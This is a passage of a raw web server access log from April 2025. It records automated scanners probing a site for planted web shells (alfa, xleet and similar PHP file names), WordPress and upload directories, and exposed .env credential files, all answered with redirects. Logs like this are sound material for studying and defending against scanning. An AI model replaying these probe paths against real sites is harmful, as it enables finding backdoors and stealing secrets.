/wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:14 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:15 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:15 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:15 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:16 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:16 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:16 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:17 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:17 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:17 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:17 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:18 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:18 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:18 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:19 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:19 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:19 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:20 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:20 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:20 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:21 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:21 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:21 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:22 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:22 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:23 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:23 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:23 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:24 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:24 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:25 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:25 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:26 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:27 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:27 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:28 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:28 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:28 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:29 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:29 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:29 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:30 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:30 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:30 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:30 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:31 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:31 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:31 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:32 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:32 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:32 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:33 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:33 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:33 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:34 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:34 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:34 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:34 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:35 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:35 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:35 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:36 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:36 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:36 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:36 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:37 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:37 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:37 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:38 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.123.39.43 - - [25/Apr/2025:20:48:38 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:00 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:01 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:02 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:03 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:04 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:04 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:06 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:08 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:10 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:12 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:13 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:15 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:17 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:18 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:19 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:21 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:22 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:23 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:23 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:24 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:25 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:26 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:27 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:27 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:28 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:29 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:29 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:30 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:31 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:31 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:32 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:33 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:34 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:36 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:36 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:37 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:38 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:39 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:40 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:41 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:41 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:42 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:43 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:43 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:44 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:45 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:45 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:47 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:47 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:48 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:49 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:49 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:51 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:53 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:55 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:56 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:58 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:58:59 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:00 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:00 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:01 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:02 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:03 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:04 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:04 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:05 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:06 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:07 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:08 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:09 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:10 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:11 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:12 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:13 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:13 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:14 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:15 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:16 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:16 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:17 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:17 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:18 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:19 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:19 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:20 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:21 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:21 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:22 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:22 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:23 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:23 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:24 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:24 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:26 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:26 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:27 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:27 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:28 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:29 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:29 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:30 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:30 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:31 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:32 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:32 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:33 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:33 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:34 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:34 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:35 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:36 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:36 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:37 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:37 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:38 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:39 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:39 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:40 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:40 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:41 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:42 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:42 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:43 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:43 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:44 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:44 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:45 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:46 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.110.77 - - [25/Apr/2025:20:59:46 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 66.249.79.105 - - [25/Apr/2025:21:04:47 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.106 - - [25/Apr/2025:21:04:48 -0400] "GET /images/social/Social_by_Deisgn_Pitara_01.jpg HTTP/1.1" 301 795 "-" "Googlebot-Image/1.0" 162.0.232.217 - - [25/Apr/2025:21:26:00 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [25/Apr/2025:21:27:07 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 103.190.80.120 - - [25/Apr/2025:21:27:09 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:21:27:14 -0400] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:21:27:18 -0400] "GET /laravel/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:21:27:22 -0400] "GET /test/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:21:27:27 -0400] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:21:27:31 -0400] "GET /vendor/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:21:27:35 -0400] "GET /sites/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:21:27:38 -0400] "GET /blog/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:21:27:42 -0400] "GET /system/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:21:27:46 -0400] "GET /public/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 103.190.80.120 - - [25/Apr/2025:21:27:52 -0400] "GET /shop/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 162.0.232.217 - - [25/Apr/2025:21:28:00 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [25/Apr/2025:21:28:06 